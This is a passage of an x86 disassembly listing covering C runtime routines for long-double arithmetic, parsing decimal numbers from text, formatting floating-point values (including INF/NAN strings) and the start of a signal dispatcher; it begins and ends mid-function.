inc dword ptr [esi+8]
loc_416201: ; CODE XREF: sub_4161B7+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_416196
add esp, 0Ch
pop edi
pop esi
retn
sub_4161B7 endp
; =============== S U B R O U T I N E =======================================
sub_416215 proc near ; CODE XREF: sub_416270+30p
; sub_416270+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_416215 endp
; =============== S U B R O U T I N E =======================================
sub_416243 proc near ; CODE XREF: sub_416808+1C8p
; sub_416DD0+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_416243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416270 proc near ; CODE XREF: sub_416337+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_4162E4
push edi
mov [ebp+arg_8], eax
loc_416297: ; CODE XREF: sub_416270+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_416215
push ebx
call sub_416215
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4161B7
push ebx
call sub_416215
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4161B7
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_416297
xor edx, edx
pop edi
loc_4162E4: ; CODE XREF: sub_416270+21j
; sub_416270+9Fj
cmp [ebx+8], edx
jnz short loc_416311
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_4162E4
; ---------------------------------------------------------------------------
loc_416311: ; CODE XREF: sub_416270+77j
mov esi, 8000h
loc_416316: ; CODE XREF: sub_416270+B9j
test [ebx+8], esi
jnz short loc_41632B
push ebx
call sub_416215
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_416316
; ---------------------------------------------------------------------------
loc_41632B: ; CODE XREF: sub_416270+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_416270 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416337 proc near ; CODE XREF: sub_415188+17p
; sub_4151B5+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_416372: ; CODE XREF: sub_416337+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_416388
cmp cl, 9
jz short loc_416388
cmp cl, 0Ah
jz short loc_416388
cmp cl, 0Dh
jnz short loc_41638B
loc_416388: ; CODE XREF: sub_416337+40j
; sub_416337+45j ...
inc edi
jmp short loc_416372
; ---------------------------------------------------------------------------
loc_41638B: ; CODE XREF: sub_416337+4Fj
push 4
pop esi
loc_41638E: ; CODE XREF: sub_416337+AEj
; sub_416337+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_416611 ; default
; jumptable 0041639A case 10
jmp off_4167D8[eax*4] ; switch jump
loc_4163A1: ; DATA XREF: .nsp0:off_4167D8o
cmp bl, 31h ; jumptable 0041639A case 0
jl short loc_4163B2
cmp bl, 39h
jg short loc_4163B2
loc_4163AB: ; CODE XREF: sub_416337+C4j
; sub_416337+118j
push 3
jmp loc_4165CF
; ---------------------------------------------------------------------------
loc_4163B2: ; CODE XREF: sub_416337+6Dj
; sub_416337+72j
cmp bl, byte_422008
jnz short loc_4163C1
loc_4163BA: ; CODE XREF: sub_416337+124j
push 5
jmp loc_416607
; ---------------------------------------------------------------------------
loc_4163C1: ; CODE XREF: sub_416337+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4163E7
dec eax
dec eax
jz short loc_4163DB
sub eax, 3
jnz loc_4166AA
jmp loc_41646A
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: sub_416337+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41638E
; ---------------------------------------------------------------------------
loc_4163E7: ; CODE XREF: sub_416337+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41638E
; ---------------------------------------------------------------------------
loc_4163F0: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp bl, 31h ; jumptable 0041639A case 1
mov [ebp+var_10], edx
jl short loc_4163FD
cmp bl, 39h
jle short loc_4163AB
loc_4163FD: ; CODE XREF: sub_416337+BFj
cmp bl, byte_422008
jz loc_4164C5
cmp bl, 2Bh
jz short loc_41643F
cmp bl, 2Dh
jz short loc_41643F
cmp bl, 30h
jz short loc_41646A
loc_416418: ; CODE XREF: sub_416337+207j
cmp bl, 43h
jle loc_4166AA
cmp bl, 45h
jle short loc_416438
cmp bl, 63h
jle loc_4166AA
cmp bl, 65h
jg loc_4166AA
loc_416438: ; CODE XREF: sub_416337+EDj
push 6
jmp loc_416607
; ---------------------------------------------------------------------------
loc_41643F: ; CODE XREF: sub_416337+D5j
; sub_416337+DAj ...
dec edi
push 0Bh
jmp loc_416607
; ---------------------------------------------------------------------------
loc_416447: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp bl, 31h ; jumptable 0041639A case 2
jl short loc_416455
cmp bl, 39h
jle loc_4163AB
loc_416455: ; CODE XREF: sub_416337+113j
cmp bl, byte_422008
jz loc_4163BA
cmp bl, 30h
jnz loc_41661F
loc_41646A: ; CODE XREF: sub_416337+9Fj
; sub_416337+DFj
mov eax, edx
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_416471: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
mov [ebp+var_10], edx ; jumptable 0041639A case 3
loc_416474: ; CODE XREF: sub_416337+184j
cmp dword_422004, edx
jle short loc_41648D
movzx eax, bl
push esi
push eax
call sub_412B49
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41649B
; ---------------------------------------------------------------------------
loc_41648D: ; CODE XREF: sub_416337+143j
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41649B: ; CODE XREF: sub_416337+154j
test eax, eax
jz short loc_4164BD
cmp [ebp+var_4], 19h
jnb short loc_4164B5
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_4164B8
; ---------------------------------------------------------------------------
loc_4164B5: ; CODE XREF: sub_416337+16Cj
inc [ebp+var_8]
loc_4164B8: ; CODE XREF: sub_416337+17Cj
mov bl, [edi]
inc edi
jmp short loc_416474
; ---------------------------------------------------------------------------
loc_4164BD: ; CODE XREF: sub_416337+166j
cmp bl, byte_422008
jnz short loc_41652C
loc_4164C5: ; CODE XREF: sub_416337+CCj
mov eax, esi
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_4164CC: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp [ebp+var_4], 0 ; jumptable 0041639A case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_4164E5
loc_4164D8: ; CODE XREF: sub_416337+1ACj
cmp bl, 30h
jnz short loc_4164E5
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_4164D8
; ---------------------------------------------------------------------------
loc_4164E5: ; CODE XREF: sub_416337+19Fj
; sub_416337+1A4j ...
cmp dword_422004, edx
jle short loc_4164FE
movzx eax, bl
push esi
push eax
call sub_412B49
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41650C
; ---------------------------------------------------------------------------
loc_4164FE: ; CODE XREF: sub_416337+1B4j
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41650C: ; CODE XREF: sub_416337+1C5j
test eax, eax
jz short loc_41652C
cmp [ebp+var_4], 19h
jnb short loc_416527
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_416527: ; CODE XREF: sub_416337+1DDj
mov bl, [edi]
inc edi
jmp short loc_4164E5
; ---------------------------------------------------------------------------
loc_41652C: ; CODE XREF: sub_416337+18Cj
; sub_416337+1D7j
cmp bl, 2Bh
jz loc_41643F
cmp bl, 2Dh
jz loc_41643F
jmp loc_416418
; ---------------------------------------------------------------------------
loc_416543: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp dword_422004, edx ; jumptable 0041639A case 5
mov [ebp+var_24], edx
jle short loc_41655F
movzx eax, bl
push esi
push eax
call sub_412B49
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41656D
; ---------------------------------------------------------------------------
loc_41655F: ; CODE XREF: sub_416337+215j
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41656D: ; CODE XREF: sub_416337+226j
test eax, eax
jz loc_41661F
mov eax, esi
jmp short loc_4165D0
; ---------------------------------------------------------------------------
loc_416579: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
lea ecx, [edi-2] ; jumptable 0041639A case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_416589
cmp bl, 39h
jle short loc_4165CD
loc_416589: ; CODE XREF: sub_416337+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_416605
dec eax
dec eax
jz short loc_4165F9
sub eax, 3
jnz loc_4166AD
loc_41659E: ; CODE XREF: sub_416337+2A4j
push 8
jmp short loc_416607
; ---------------------------------------------------------------------------
loc_4165A2: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
mov [ebp+var_20], edx ; jumptable 0041639A case 8
loc_4165A5: ; CODE XREF: sub_416337+276j
cmp bl, 30h
jnz short loc_4165AF
mov bl, [edi]
inc edi
jmp short loc_4165A5
; ---------------------------------------------------------------------------
loc_4165AF: ; CODE XREF: sub_416337+271j
cmp bl, 31h
jl loc_4166AA
cmp bl, 39h
jg loc_4166AA
jmp short loc_4165CD
; ---------------------------------------------------------------------------
loc_4165C3: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp bl, 31h ; jumptable 0041639A case 7
jl short loc_4165D6
cmp bl, 39h
jg short loc_4165D6
loc_4165CD: ; CODE XREF: sub_416337+250j
; sub_416337+28Aj
push 9
loc_4165CF: ; CODE XREF: sub_416337+76j
pop eax
loc_4165D0: ; CODE XREF: sub_416337+240j
dec edi
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_4165D6: ; CODE XREF: sub_416337+28Fj
; sub_416337+294j
cmp bl, 30h
jnz short loc_41661F
jmp short loc_41659E
; ---------------------------------------------------------------------------
loc_4165DD: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
cmp [ebp+arg_18], 0 ; jumptable 0041639A case 11
jz short loc_41660D
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_416605
dec eax
dec eax
jnz loc_4166AD
loc_4165F9: ; CODE XREF: sub_416337+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_416605: ; CODE XREF: sub_416337+258j
; sub_416337+2B8j
push 7
loc_416607: ; CODE XREF: sub_416337+85j
; sub_416337+103j ...
pop eax
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_41660D: ; CODE XREF: sub_416337+2AAj
push 0Ah
dec edi
pop eax
loc_416611: ; CODE XREF: sub_416337+5Dj
; sub_416337+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041639A case 10
jz loc_4166AF
jmp loc_41638E
; ---------------------------------------------------------------------------
loc_41661F: ; CODE XREF: sub_416337+12Dj
; sub_416337+238j ...
mov edi, [ebp+arg_8]
jmp loc_4166AF
; ---------------------------------------------------------------------------
loc_416627: ; CODE XREF: sub_416337+63j
; DATA XREF: .nsp0:off_4167D8o
mov [ebp+var_20], 1 ; jumptable 0041639A case 9
xor esi, esi
loc_416630: ; CODE XREF: sub_416337+339j
cmp dword_422004, 1
jle short loc_416648
movzx eax, bl
push 4
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_416657
; ---------------------------------------------------------------------------
loc_416648: ; CODE XREF: sub_416337+300j
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_416657: ; CODE XREF: sub_416337+30Fj
test eax, eax
jz short loc_416677
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_416672
mov bl, [edi]
inc edi
jmp short loc_416630
; ---------------------------------------------------------------------------
loc_416672: ; CODE XREF: sub_416337+334j
mov esi, 1451h
loc_416677: ; CODE XREF: sub_416337+322j
mov [ebp+var_1C], esi
loc_41667A: ; CODE XREF: sub_416337+371j
cmp dword_422004, 1
jle short loc_416692
movzx eax, bl
push 4
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_4166A1
; ---------------------------------------------------------------------------
loc_416692: ; CODE XREF: sub_416337+34Aj
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4166A1: ; CODE XREF: sub_416337+359j
test eax, eax
jz short loc_4166AA
mov bl, [edi]
inc edi
jmp short loc_41667A
; ---------------------------------------------------------------------------
loc_4166AA: ; CODE XREF: sub_416337+99j
; sub_416337+E4j ...
dec edi
jmp short loc_4166AF
; ---------------------------------------------------------------------------
loc_4166AD: ; CODE XREF: sub_416337+261j
; sub_416337+2BCj
mov edi, ecx
loc_4166AF: ; CODE XREF: sub_416337+2DDj
; sub_416337+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_416797
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_4166DB
cmp [ebp+var_45], 5
jl short loc_4166CF
inc [ebp+var_45]
loc_4166CF: ; CODE XREF: sub_416337+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_4166DE
; ---------------------------------------------------------------------------
loc_4166DB: ; CODE XREF: sub_416337+38Dj
mov eax, [ebp+var_C]
loc_4166DE: ; CODE XREF: sub_416337+3A2j
cmp [ebp+var_4], 0
jbe loc_41678D
loc_4166E8: ; CODE XREF: sub_416337+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4166F6
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4166E8
; ---------------------------------------------------------------------------
loc_4166F6: ; CODE XREF: sub_416337+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_416270
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_416715
neg eax
loc_416715: ; CODE XREF: sub_416337+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_416720
add eax, [ebp+arg_10]
loc_416720: ; CODE XREF: sub_416337+3E4j
cmp [ebp+var_24], ecx
jnz short loc_416728
sub eax, [ebp+arg_14]
loc_416728: ; CODE XREF: sub_416337+3ECj
cmp eax, 1450h
jle short loc_41675F
mov [ebp+var_2C], 1
loc_416736: ; CODE XREF: sub_416337+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_416742: ; CODE XREF: sub_416337+454j
; sub_416337+45Ej
cmp [ebp+var_2C], 0
jz short loc_4167A8
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_4167BD
; ---------------------------------------------------------------------------
loc_41675F: ; CODE XREF: sub_416337+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41676F
mov [ebp+var_30], 1
jmp short loc_416736
; ---------------------------------------------------------------------------
loc_41676F: ; CODE XREF: sub_416337+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_416FF0
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_416742
; ---------------------------------------------------------------------------
loc_41678D: ; CODE XREF: sub_416337+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_416742
; ---------------------------------------------------------------------------
loc_416797: ; CODE XREF: sub_416337+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_4167BD
; ---------------------------------------------------------------------------
loc_4167A8: ; CODE XREF: sub_416337+40Fj
cmp [ebp+var_30], 0
jz short loc_4167BD
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_4167BD: ; CODE XREF: sub_416337+426j
; sub_416337+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_416337 endp
; ---------------------------------------------------------------------------
off_4167D8 dd offset loc_4163A1 ; DATA XREF: sub_416337+63r
dd offset loc_4163F0 ; jump table for switch statement
dd offset loc_416447
dd offset loc_416471
dd offset loc_4164CC
dd offset loc_416543
dd offset loc_416579
dd offset loc_4165C3
dd offset loc_4165A2
dd offset loc_416627
dd offset loc_416611
dd offset loc_4165DD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416808 proc near ; CODE XREF: sub_415259+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41686A
mov byte ptr [ebx+2], 2Dh
jmp short loc_41686E
; ---------------------------------------------------------------------------
loc_41686A: ; CODE XREF: sub_416808+5Aj
mov byte ptr [ebx+2], 20h
loc_41686E: ; CODE XREF: sub_416808+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_416894
test edi, edi
jnz short loc_416894
cmp [ebp+arg_0], edi
jnz short loc_416894
loc_41687F: ; CODE XREF: sub_416808+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_416A92
; ---------------------------------------------------------------------------
loc_416894: ; CODE XREF: sub_416808+6Cj
; sub_416808+70j ...
cmp dx, si
jnz short loc_416913
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_4168AD
cmp [ebp+arg_0], 0
jz short loc_4168BC
loc_4168AD: ; CODE XREF: sub_416808+9Dj
test edi, 40000000h
jnz short loc_4168BC
push offset a1Snan ; "1#SNAN"
jmp short loc_416902
; ---------------------------------------------------------------------------
loc_4168BC: ; CODE XREF: sub_416808+A3j
; sub_416808+ABj
test cx, cx
jz short loc_4168D6
cmp edi, 0C0000000h
jnz short loc_4168D6
cmp [ebp+arg_0], 0
jnz short loc_4168FD
push offset a1Ind ; "1#IND"
jmp short loc_4168E5
; ---------------------------------------------------------------------------
loc_4168D6: ; CODE XREF: sub_416808+B7j
; sub_416808+BFj
cmp edi, eax
jnz short loc_4168FD
cmp [ebp+arg_0], 0
jnz short loc_4168FD
push offset a1Inf ; "1#INF"
loc_4168E5: ; CODE XREF: sub_416808+CCj
lea eax, [ebx+4]
push eax
call sub_40E3C0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4168F4: ; CODE XREF: sub_416808+109j
and [ebp+var_4], 0
jmp loc_416A6B
; ---------------------------------------------------------------------------
loc_4168FD: ; CODE XREF: sub_416808+C5j
; sub_416808+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_416902: ; CODE XREF: sub_416808+B2j
lea eax, [ebx+4]
push eax
call sub_40E3C0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4168F4
; ---------------------------------------------------------------------------
loc_416913: ; CODE XREF: sub_416808+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_416FF0
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_416974
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_416DD0
pop ecx
pop ecx
loc_416974: ; CODE XREF: sub_416808+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41698E
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_416991
jmp loc_41687F
; ---------------------------------------------------------------------------
loc_41698E: ; CODE XREF: sub_416808+173j
mov edi, [ebp+arg_C]
loc_416991: ; CODE XREF: sub_416808+17Fj
cmp edi, 15h
jle short loc_416999
push 15h
pop edi
loc_416999: ; CODE XREF: sub_416808+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_4169AF: ; CODE XREF: sub_416808+1B4j
lea eax, [ebp+var_10]
push eax
call sub_416215
dec [ebp+arg_14]
pop ecx
jnz short loc_4169AF
test esi, esi
jge short loc_4169D9
neg esi
and esi, 0FFh
jle short loc_4169D9
loc_4169CC: ; CODE XREF: sub_416808+1CFj
lea eax, [ebp+var_10]
push eax
call sub_416243
dec esi
pop ecx
jnz short loc_4169CC
loc_4169D9: ; CODE XREF: sub_416808+1B8j
; sub_416808+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_416A36
mov [ebp+arg_C], ecx
loc_4169E9: ; CODE XREF: sub_416808+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_416215
lea eax, [ebp+var_10]
push eax
call sub_416215
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_4161B7
lea eax, [ebp+var_10]
push eax
call sub_416215
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4169E9
mov eax, [ebp+arg_14]
loc_416A36: ; CODE XREF: sub_416808+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_416A73
loc_416A43: ; CODE XREF: sub_416808+248j
cmp eax, ecx
jb short loc_416A56
cmp byte ptr [eax], 39h
jnz short loc_416A52
mov byte ptr [eax], 30h
dec eax
jmp short loc_416A43
; ---------------------------------------------------------------------------
loc_416A52: ; CODE XREF: sub_416808+242j
cmp eax, ecx
jnb short loc_416A5A
loc_416A56: ; CODE XREF: sub_416808+23Dj
inc eax
inc word ptr [ebx]
loc_416A5A: ; CODE XREF: sub_416808+24Cj
inc byte ptr [eax]
loc_416A5C: ; CODE XREF: sub_416808+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_416A6B: ; CODE XREF: sub_416808+F0j
mov eax, [ebp+var_4]
loc_416A6E: ; CODE XREF: sub_416808+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416A73: ; CODE XREF: sub_416808+239j
; sub_416808+275j
cmp eax, ecx
jb short loc_416A83
cmp byte ptr [eax], 30h
jnz short loc_416A7F
dec eax
jmp short loc_416A73
; ---------------------------------------------------------------------------
loc_416A7F: ; CODE XREF: sub_416808+272j
cmp eax, ecx
jnb short loc_416A5C
loc_416A83: ; CODE XREF: sub_416808+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_416A92: ; CODE XREF: sub_416808+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_416A6E
sub_416808 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A9B proc near ; CODE XREF: sub_412A3C+29FDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_416B02
dec eax
dec eax
jz short loc_416AF3
sub eax, 4
jz short loc_416AF3
sub eax, 3
jz short loc_416AF3
sub eax, 4
jz short loc_416AE6
sub eax, 6
jz short loc_416AD9
dec eax
jz short loc_416ACC
or eax, 0FFFFFFFFh
jmp loc_416BC4
; ---------------------------------------------------------------------------
loc_416ACC: ; CODE XREF: sub_416A9B+27j
mov esi, dword_482098
mov eax, offset dword_482098
jmp short loc_416B0D
; ---------------------------------------------------------------------------
loc_416AD9: ; CODE XREF: sub_416A9B+24j
mov esi, dword_482094
mov eax, offset dword_482094
jmp short loc_416B0D
; ---------------------------------------------------------------------------
loc_416AE6: ; CODE XREF: sub_416A9B+1Fj
mov esi, dword_48209C
mov eax, offset dword_48209C
jmp short loc_416B0D
; ---------------------------------------------------------------------------
loc_416AF3: ; CODE XREF: sub_416A9B+10j
; sub_416A9B+15j ...
push edi
call sub_416BC8
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_416B0D
; ---------------------------------------------------------------------------
loc_416B02: ; CODE XREF: sub_416A9B+Cj
mov esi, dword_482090
mov eax, offset dword_482090
loc_416B0D: ; CODE XREF: sub_416A9B+3Cj
; sub_416A9B+49j ...
cmp esi, 1
jnz short loc_416B19
xor eax, eax
jmp loc_416BC4
; ---------------------------------------------------------------------------
loc_416B19: ; CODE XREF: sub_416A9B+75j
test esi, esi
jnz short loc_416B24
push 3
call sub_40E7C3
loc_416B24: ; CODE XREF: sub_416A9B+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_416B36
cmp edi, 0Bh
jz short loc_416B36
